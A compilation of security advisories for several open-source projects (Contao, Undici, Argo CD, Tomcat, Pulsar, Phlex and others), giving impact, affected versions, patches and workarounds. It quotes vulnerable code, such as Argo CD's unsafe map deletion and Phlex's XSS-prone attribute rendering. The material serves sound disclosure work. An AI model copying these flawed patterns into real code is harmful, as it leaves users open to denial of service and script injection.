- https://github.com/yt-dlp/yt-dlp/commit/ff07792676f404ffff6ee61b5638c9dc1a33a37a


Contao: Possible cookie sharing with external domains while checking protected pages for broken links

[Severity: HIGH]

### Impact

If the crawler is set to crawl protected pages, it sends the cookie header to externals URLs.

### Patches

Update to Contao 4.13.40 or 5.3.4.

### Workarounds

Disable crawling protected pages.

### References

https://contao.org/en/security-advisories/session-cookie-disclosure-in-the-crawler

### For more information

If you have any questions or comments about this advisory, open an issue in [contao/contao](https://github.com/contao/contao/issues/new/choose).


Undici's fetch with integrity option is too lax when algorithm is specified but hash value is in incorrect

[Severity: LOW]

### Impact

If an attacker can alter the `integrity` option passed to `fetch()`, they can let `fetch()` accept requests as valid even if they have been tampered.

### Patches

Fixed in https://github.com/nodejs/undici/commit/d542b8cd39ec1ba303f038ea26098c3f355974f3.
Fixes has been released in v5.28.4 and v6.11.1.

### Workarounds

Ensure that `integrity` cannot be tampered with.

### References

https://hackerone.com/reports/2377760


Undici's Proxy-Authorization header not cleared on cross-origin redirect for dispatch, request, stream, pipeline

[Severity: LOW]

### Impact

Undici cleared Authorization and Proxy-Authorization headers for `fetch()`, but did not clear them for `undici.request()`.

### Patches

This has been patched in https://github.com/nodejs/undici/commit/6805746680d27a5369d7fb67bc05f95a28247d75.
Fixes has been released in v5.28.4 and v6.11.1.

### Workarounds

use `fetch()` or disable `maxRedirections`.

### References

Linzi Shang reported this.

* https://hackerone.com/reports/2408074
* https://github.com/nodejs/undici/security/advisories/GHSA-3787-6prv-h9w3


In Astro-Shield, setting a correct `integrity` attribute to injected code allows to bypass the allow-lists

[Severity: HIGH]

### Impact

Versions from 1.2.0 to 1.3.1 of Astro-Shield allow to bypass the allow-lists for cross-origin resources by introducing valid `integrity` attributes to the injected code. This implies that the injected SRI hash would be added to the generated CSP header, which would lead the browser to believe that the injected resource is legit.

To exploit this vulnerability, the attacker needs to first inject code into the rendered pages by exploiting other not-related potential vulnerabilities.

### Patches

Version [1.3.2](https://github.com/kindspells/astro-shield/releases/tag/1.3.2) provides a patch.

### Workarounds
- To not use the middleware functionality of Astro-Shield.
- To use the middleware functionality of Astro-Shield ONLY for content that cannot be controlled in any way by external users.

### References
_Are there any links users can visit to find out more?_


Content-Security-Policy header generation in middleware could be compromised by malicious injections

[Severity: HIGH]

### Impact

When the following conditions are met:
- Automated CSP headers generation for SSR content is enabled
- The web application serves content that can be partially controlled by external users

Then it is possible that the CSP headers generation feature might be "allow-listing" malicious injected resources like inlined JS, or references to external malicious scripts.

### Patches
Available in version 1.3.0 .

### Workarounds
- Do not enable CSP headers generation.
- Use it only for dynamically generated content that cannot be controlled by external users in any way.

### References
_Are there any links users can visit to find out more?_


Saleor: Customers' addresses leak when using Warehouse as a `Pickup: Local stock only` delivery method

[Severity: MEDIUM]

### Summary
Using `Pickup: Local stock only` as a click-and-collect points could cause a leak of customer addresses

### Details
When using `Pickup: Local stock only` click-and-collect as a delivery method in specific conditions the customer could overwrite the warehouse address with its own, which exposes its address as click-and-collect address.

### Impact
The vulnerability can cause the leak of customer's address when using click-and-collect delivery option marked as `Local stock only`. It has impact on all orders with click-and-collect delivery method marked as `Pickup:Local stock only`
The affected versions: `>=3.14.56 <3.14.61`, `>=3.15.31 <3.15.37`, `>=3.16.27 <3.16.34`, `>=3.17.25 <3.17.32`, `>=3.18.19 <3.18.28`, `>=3.19.5 <3.19.15`
This issue has been patched in versions: `3.14.61`, `3.15.37`, `3.16.34`, `3.17.32`, `3.18.28`, `3.19.15`

### Workaround
We strongly recommend upgrading to the latest versions, in case of inability to upgrade straight away, possible workarounds are:
- turn off click-and-collect delivery method on warehouse view when `Pickup` option is set to `Local stock only`.
- cherry-pick the changes from PRs: https://github.com/saleor/saleor/pull/15694 & https://github.com/saleor/saleor/pull/15697

### References
- Commits introducing the issue (https://github.com/saleor/saleor/commit/22a1aa3ef0bc54156405f69146788016a7f3f761 main, https://github.com/saleor/saleor/commit/997f7ea4f576543ec88679a86bfe1b14f7f2ff26 3.14, https://github.com/saleor/saleor/commit/ef003c76a304c89ddb2dc65b7f1d5b3b2ba1c640 3.15, https://github.com/saleor/saleor/commit/39abb0f4e4fe6503f81bfbb871227e4f70bcdd5c 3.16, https://github.com/saleor/saleor/commit/b7cecda8b603f7472790150bb4508c7b655946d4 3.17, https://github.com/saleor/saleor/commit/dccc2c842b4e2e09470929c80f07dc137e439182 3.18, https://github.com/saleor/saleor/commit/d8ba545c16ad3153febc5b5be8fd2ef75da9fc95 3.19)
- https://github.com/saleor/saleor/commit/47cedfd7d6524d79bdb04708edcdbb235874de6b (main branch)
https://github.com/saleor/saleor/releases/tag/3.14.60
https://github.com/saleor/saleor/releases/tag/3.14.61
https://github.com/saleor/saleor/releases/tag/3.15.36
https://github.com/saleor/saleor/releases/tag/3.15.37
https://github.com/saleor/saleor/releases/tag/3.16.33
https://github.com/saleor/saleor/releases/tag/3.16.34
https://github.com/saleor/saleor/releases/tag/3.17.31
https://github.com/saleor/saleor/releases/tag/3.17.32
https://github.com/saleor/saleor/releases/tag/3.18.27
https://github.com/saleor/saleor/releases/tag/3.18.28
https://github.com/saleor/saleor/releases/tag/3.19.14
https://github.com/saleor/saleor/releases/tag/3.19.15


TinyMCE Cross-Site Scripting (XSS) vulnerability in handling external SVG files through Object or Embed elements

[Severity: MEDIUM]

### Impact
A [cross-site scripting (XSS)](https://owasp.org/www-community/attacks/xss/) vulnerability was discovered in TinyMCE’s content loading and content inserting code. A SVG image could be loaded though an `object` or `embed` element and that image could potentially contain a XSS payload.

### Fix
TinyMCE 6.8.1 introduced a new `convert_unsafe_embeds` option to automatically convert `object` and `embed` elements respective of their `type` attribute.  From TinyMCE 7.0.0 onwards, the `convert_unsafe_embeds` option is enabled by default.

### Workarounds
If you are using TinyMCE 6.8.1 or higher, set `convert_unsafe_embeds` to true. For any earlier versions, a custom NodeFilter is recommended to remove or modify any `object` or `embed` elements. This can be added using the `editor.parser.addNodeFilter` and `editor.serializer.addNodeFilter` APIs.

### Acknowledgements
Tiny Technologies would like to thank Toni Huttunen of [Fraktal Oy](https://www.fraktal.fi/) for discovering this vulnerability.

### References
- [TinyMCE 6.8.1](https://www.tiny.cloud/docs/tinymce/6/6.8.1-release-notes/#new-convert_unsafe_embeds-option-that-controls-whether-object-and-embed-elements-will-be-converted-to-more-restrictive-alternatives-namely-img-for-image-mime-types-video-for-video-mime-types-audio-audio-mime-types-or-iframe-for-other-or-unspecified-mime-types)
- [TinyMCE 7.0.0](https://www.tiny.cloud/docs/tinymce/7/7.0-release-notes/#convert_unsafe_embeds-editor-option-is-now-defaulted-to-true)


Apache Commons Configuration: StackOverflowError adding property in AbstractListDelimiterHandler.flattenIterator()

[Severity: MEDIUM]

This Out-of-bounds Write vulnerability in Apache Commons Configuration affects Apache Commons Configuration: from 2.0 before 2.10.1. User can see this as a 'StackOverflowError' when adding a property in 'AbstractListDelimiterHandler.flattenIterator()'.
Users are recommended to upgrade to version 2.10.1, which fixes the issue.


Apache Commons Configuration: StackOverflowError calling ListDelimiterHandler.flatten(Object, int) with a cyclical object tree

[Severity: MEDIUM]

This Out-of-bounds Write vulnerability in Apache Commons Configuration affects Apache Commons Configuration: from 2.0 before 2.10.1. User can see this as a 'StackOverflowError' calling 'ListDelimiterHandler.flatten(Object, int)' with a cyclical object tree.
Users are recommended to upgrade to version 2.10.1, which fixes the issue.


GoogleOAuthenticator.hosted_domain incorrectly verifies membership of an Google organization/workspace

[Severity: HIGH]

## Summary and impact

[`GoogleOAuthenticator.hosted_domain`] is used to restrict what Google accounts can be authorized to access a JupyterHub. The restriction _is intended_ to ensure Google accounts are part of one or more Google organizations/workspaces verified to control specified domain(s).

The vulnerability is that the actual restriction has been to Google accounts with emails ending with the domain. Such accounts could have been created by anyone which at one time was able to read an email associated with the domain. This was described by Dylan Ayrey (@dxa4481) in this [blog post] from 15th December 2023.

## Remediation

Upgrade to `oauthenticator>=16.3.0` or restrict who can login another way, such as [`allowed_users`] or [`allowed_google_groups`].

[`GoogleOAuthenticator.hosted_domain`]: https://oauthenticator.readthedocs.io/en/latest/reference/api/gen/oauthenticator.google.html#oauthenticator.google.GoogleOAuthenticator.hosted_domain
[`allowed_users`]: https://oauthenticator.readthedocs.io/en/latest/reference/api/gen/oauthenticator.google.html#oauthenticator.google.GoogleOAuthenticator.allowed_users
[`allowed_google_groups`]: https://oauthenticator.readthedocs.io/en/latest/reference/api/gen/oauthenticator.google.html#oauthenticator.google.GoogleOAuthenticator.allowed_google_groups
[blog post]: https://trufflesecurity.com/blog/google-oauth-is-broken-sort-of/


Denial of Service (DoS) Vulnerability Due to Unsafe Array Modification in Multi-threaded Environment

[Severity: HIGH]

### Summary
An attacker can exploit a critical flaw in the application to initiate a Denial of Service (DoS) attack, rendering the application inoperable and affecting all users. The issue arises from unsafe manipulation of an array in a multi-threaded environment.

### Details
The vulnerability is rooted in the application's code, where an array is being modified while it is being iterated over. This is a classic programming error but becomes critically unsafe when executed in a multi-threaded environment. When two threads interact with the same array simultaneously, the application crashes.

The core issue is located in [expireOldFailedAttempts](https://github.com/argoproj/argo-cd/blob/54601c8fd30b86a4c4b7eb449956264372c8bde0/util/session/sessionmanager.go#L302-L311) function:
```go
func expireOldFailedAttempts(maxAge time.Duration, failures *map[string]LoginAttempts) int {

expiredCount := 0
for key, attempt := range *failures {

if time.Since(attempt.LastFailed) > maxAge*time.Second { expiredCount += 1
delete(*failures, key) // Vulnerable code

} }

return expiredCount }
```

The function modifies the array while iterating it which means the code will cause an error and crash the application pod, inspecting the logs just before the crash we can confirm:
```go
goroutine 2032 [running]: github.com/argoproj/argo-cd/v2/util/session.expireOldFailedAttempts(0x12c, 0xc000adecd8)

/go/src/github.com/argoproj/argo-cd/util/session/sessionmanager.go:304 +0x7c github.com/argoproj/argo-cd/v2/util/session.(*SessionManager).updateFailureCount(0xc00035 af50, {0xc001b1f578, 0x11}, 0x1)

/go/src/github.com/argoproj/argo-cd/util/session/sessionmanager.go:320 +0x7f github.com/argoproj/argo-cd/v2/util/session.(*SessionManager).VerifyUsernamePassword(0xc 00035af50, {0xc001b1f578, 0x11}, {0xc000455148, 0x8})
```
### PoC
To reproduce the vulnerability, you can use the following steps:

1. Launch the application.
2. Trigger the code path that results in the `expireOldFailedAttempts()` function being called in multiple threads.
3. In the attached PoC script we are restarting the server in a while loop, causing the application to be unresponsive at all.

### Impact
This is a Denial of Service (DoS) vulnerability. Any attacker can crash the application continuously, making it impossible for legitimate users to access the service. The issue is exacerbated because it does not require authentication, widening the pool of potential attackers.


Apache Tomcat Denial of Service due to improper input validation vulnerability for HTTP/2 requests

[Severity: MEDIUM]

Denial of Service due to improper input validation vulnerability for HTTP/2 requests in Apache Tomcat. When processing an HTTP/2 request, if the request exceeded any of the configured limits for headers, the associated HTTP/2 stream was not reset until after all of the headers had been processed.This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.0-M16, from 10.1.0-M1 through 10.1.18, from 9.0.0-M1 through 9.0.85, from 8.5.0 through 8.5.98.

Users are recommended to upgrade to version 11.0.0-M17, 10.1.19, 9.0.86 or 8.5.99 which fix the issue.


Apache Pulsar: Pulsar Functions Worker Allows Unauthorized File Access and Unauthorized HTTP/HTTPS Proxying

[Severity: HIGH]

The Pulsar Functions Worker includes a capability that permits authenticated users to create functions where the function's implementation is referenced by a URL. The supported URL schemes include "file", "http", and "https". When a function is created using this method, the Functions Worker will retrieve the implementation from the URL provided by the user. However, this feature introduces a vulnerability that can be exploited by an attacker to gain unauthorized access to any file that the Pulsar Functions Worker process has permissions to read. This includes reading the process environment which potentially includes sensitive information, such as secrets. Furthermore, an attacker could leverage this vulnerability to use the Pulsar Functions Worker as a proxy to access the content of remote HTTP and HTTPS endpoint URLs. This could also be used to carry out denial of service attacks.
This vulnerability also applies to the Pulsar Broker when it is configured with "functionsWorkerEnabled=true".

This issue affects Apache Pulsar versions from 2.4.0 to 2.10.5, from 2.11.0 to 2.11.3, from 3.0.0 to 3.0.2, from 3.1.0 to 3.1.2, and 3.2.0.

2.10 Pulsar Function Worker users should upgrade to at least 2.10.6.
2.11 Pulsar Function Worker users should upgrade to at least 2.11.4.
3.0 Pulsar Function Worker users should upgrade to at least 3.0.3.
3.1 Pulsar Function Worker users should upgrade to at least 3.1.3.
3.2 Pulsar Function Worker users should upgrade to at least 3.2.1.

Users operating versions prior to those listed above should upgrade to the aforementioned patched versions or newer versions.

The updated versions of Pulsar Functions Worker will, by default, impose restrictions on the creation of functions using URLs. For users who rely on this functionality, the Function Worker configuration provides two configuration keys: "additionalEnabledConnectorUrlPatterns" and "additionalEnabledFunctionsUrlPatterns". These keys allow users to specify a set of URL patterns that are permitted, enabling the creation of functions using URLs that match the defined patterns. This approach ensures that the feature remains available to those who require it, while limiting the potential for unauthorized access and exploitation.


Apache Pulsar: Pulsar Functions Worker's Archive Extraction Vulnerability Allows Unauthorized File Modification

[Severity: CRITICAL]

In Pulsar Functions Worker, authenticated users can upload functions in jar or nar files. These files, essentially zip files, are extracted by the Functions Worker. However, if a malicious file is uploaded, it could exploit a directory traversal vulnerability. This occurs when the filenames in the zip files, which aren't properly validated, contain special elements like "..", altering the directory path. This could allow an attacker to create or modify files outside of the designated extraction directory, potentially influencing system behavior. This vulnerability also applies to the Pulsar Broker when it is configured with "functionsWorkerEnabled=true".

This issue affects Apache Pulsar versions from 2.4.0 to 2.10.5, from 2.11.0 to 2.11.3, from 3.0.0 to 3.0.2, from 3.1.0 to 3.1.2, and 3.2.0.

2.10 Pulsar Function Worker users should upgrade to at least 2.10.6.
2.11 Pulsar Function Worker users should upgrade to at least 2.11.4.
3.0 Pulsar Function Worker users should upgrade to at least 3.0.3.
3.1 Pulsar Function Worker users should upgrade to at least 3.1.3.
3.2 Pulsar Function Worker users should upgrade to at least 3.2.1.

Users operating versions prior to those listed above should upgrade to the aforementioned patched versions or newer versions.


Cross-site Scripting (XSS) possible with maliciously formed HTML attribute names and values in Phlex

[Severity: HIGH]

There is a potential cross-site scripting (XSS) vulnerability that can be exploited via maliciously crafted user data. This was due to improper case-sensitivity in the code that was meant to prevent these attacks.

### Impact

If you render an `<a>` tag with an `href` attribute set to a user-provided link, that link could potentially execute JavaScript when clicked by another user.

```ruby
a(href: user_profile) { "Profile" }
```

If you splat user-provided attributes when rendering any HTML or SVG tag, malicious event attributes could be included in the output, executing JavaScript when the events are triggered by another user.

```ruby
h1(**JSON.parse(user_attributes))
```

### Patches
Patches are [available on RubyGems](https://rubygems.org/gems/phlex) for all `1.x` minor versions. The patched versions are:

- [1.9.1](https://rubygems.org/gems/phlex/versions/1.9.1)
- [1.8.2](https://rubygems.org/gems/phlex/versions/1.8.2)
- [1.7.1](https://rubygems.org/gems/phlex/versions/1.7.1)
- [1.6.2](https://rubygems.org/gems/phlex/versions/1.6.2)
- [1.5.2](https://rubygems.org/gems/phlex/versions/1.5.2)
- [1.4.1](https://rubygems.org/gems/phlex/versions/1.4.1)
- [1.3.3](https://rubygems.org/gems/phlex/versions/1.3.3)
- [1.2.2](https://rubygems.org/gems/phlex/versions/1.2.2)
- [1.1.1](https://rubygems.org/gems/phlex/versions/1.1.1)
- [1.0.1](https://rubygems.org/gems/phlex/versions/1.0.1)

If you are on `main`, it has been patched since [`aa50c60`](https://github.com/phlex-ruby/phlex/commit/aa50c604cdee1d0ce7ef068a4c66cbd5d43f96a1)

### Workarounds
Configuring a [Content Security Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy) that does not allow [`unsafe-inline`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy#unsafe-inline) would effectively prevent this vulnerability from being exploited.

### References

In addition to upgrading to a patched version of Phlex, we strongly recommend configuring a Content Security Policy header that does not allow `unsafe-inline`. Here’s how you can configure a Content Security Policy header in Rails. https://guides.rubyonrails.org/security.html#content-security-policy-header